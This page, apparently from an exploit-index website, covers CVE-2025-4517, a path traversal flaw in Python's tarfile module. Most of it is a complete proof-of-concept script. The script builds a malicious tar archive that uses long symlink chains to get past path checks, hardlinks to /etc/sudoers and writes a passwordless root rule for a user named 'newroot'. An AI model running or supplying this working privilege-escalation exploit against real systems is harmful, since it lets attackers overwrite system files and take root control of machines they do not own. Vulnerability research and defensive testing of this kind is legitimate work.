Skip to content
HackIndex logo

HackIndex

CVE-2025-4517:
Python Tar

Published: Feb 22, 2026
Critical
Directory traversal

CVE-2025-4517 is a vulnerability in Python’s tarfile module where using TarFile.extractall() or TarFile.extract() on an untrusted .tar archive can be abused for path traversal, letting an attacker write files outside the intended extraction directory, potentially overwriting arbitrary files and leading to compromise depending on what gets overwritten.

Python3 TAR

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

For this example we are gonna exploit the tar.extractall() / tar.extract() function to overwrite sudoers file for our user to gain root permissions.

Example of vulnerable code we will be exploiting:

import tarfile

with tarfile.open("poc.tar", "r") as tar:
  tar.extractall(path="example", filter="data")

We will be making a modified version of the Google POC

google/security-research - GHSA-hgqp-3mmf-7h8f
Python - Tarfile Realpath Overflow Vulnerability
View POC (opens in new tab)

In our case we would like most of the original part but only overwrite a file like:

import tarfile
import os
import io
import sys
# 247 (55 on OSX) picked so the expanded path of dirs is 3968 bytes long (or 896
# on OSX), leaving 128 bytes for a prefix and at least a few chars of the link
comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("poc.tar", mode="x") as tar:
    # populate the symlinks and dirs that expand in os.path.realpath()
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)
    # create the final symlink that exceeds PATH_MAX and simply points to the
    # top dir. this allows *any* path to be appended.
    # this link will never be expanded by os.path.realpath(), nor anything after it.
    linkpath = os.path.join("/".join(steps), "l"*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = ("../" * len(steps))
    tar.addfile(l)
    # make a symlink outside to keep the tar command happy
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../../etc"
    tar.addfile(e)
    # use the symlinks above, that are not checked, to create a hardlink
    # to a file outside of the destination path
    f = tarfile.TarInfo("flaglink")
    f.type = tarfile.LNKTYPE
    f.linkname = "escape/sudoers"
    tar.addfile(f)
    # now that we have the hardlink we can overwrite the file
    content = b"newroot ALL=(ALL) NOPASSWD: ALL\n"
    c = tarfile.TarInfo("flaglink")
    c.type = tarfile.REGTYPE
    c.size = len(content)
    tar.addfile(c, fileobj=io.BytesIO(content))

This will overwrite the /etc/sudoers file to

newroot ALL=(ALL) NOPASSWD: ALL

Giving our user 'newroot', full root access to the machine.